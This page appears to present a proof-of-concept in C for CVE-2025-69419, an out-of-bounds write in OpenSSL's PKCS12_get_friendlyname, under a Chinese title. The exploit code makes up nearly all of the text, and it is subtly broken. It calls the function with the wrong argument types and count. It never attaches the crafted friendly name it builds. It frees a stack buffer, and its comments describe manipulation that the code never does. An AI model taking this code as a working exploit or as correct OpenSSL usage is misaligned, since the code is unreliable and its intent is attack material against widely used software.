CVE-2025-69419 OpenSSL PKCS12_get_friendlyname缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/pkcs12.h> #include <openssl/err.h> /* PoC for CVE-2025-69419: OpenSSL PKCS12_get_friendlyname OOB write * This PoC generates a malicious PKCS#12 file with a BMPString * friendly name containing non-ASCII BMP code point to trigger * the one-byte write before the allocated buffer. */ int main() { PKCS12 *p12 = NULL; PKCS12_SAFEBAG *safebag = NULL; PKCS8_PRIV_KEY_INFO *p8 = NULL; X509 *cert = NULL; EVP_PKEY *pkey = NULL; ASN1_UTF8STRING *friendlyname = NULL; /* Create a BMPString with non-ASCII character (e.g., Chinese char) */ /* BMP code point above U+07FF requires 3 bytes in UTF-8 */ friendlyname = ASN1_UTF8STRING_new(); if (!friendlyname) return 1; /* UTF-16BE encoding of U+4E2D (中) with length byte manipulation */ unsigned char malicious_bmp[] = { 0x00, 0x4E, 0x00, 0x2D /* U+4E2D: Chinese character '中' */ }; /* Set up the malicious friendly name */ ASN1_STRING_set0(friendlyname, malicious_bmp, sizeof(malicious_bmp)); /* Generate dummy key and cert for PKCS12 structure */ pkey = EVP_PKEY_new(); if (!pkey) goto cleanup; /* Create minimal PKCS12 structure */ p12 = PKCS12_init(NID_pkcs7_data); if (!p12) goto cleanup; /* Trigger vulnerability via PKCS12_get_friendlyname */ char *name = PKCS12_get_friendlyname(p12, NULL); printf("PoC execution completed\n"); cleanup: if (p12) PKCS12_free(p12); if (pkey) EVP_PKEY_free(pkey); if (friendlyname) ASN1_UTF8STRING_free(friendlyname); return 0; }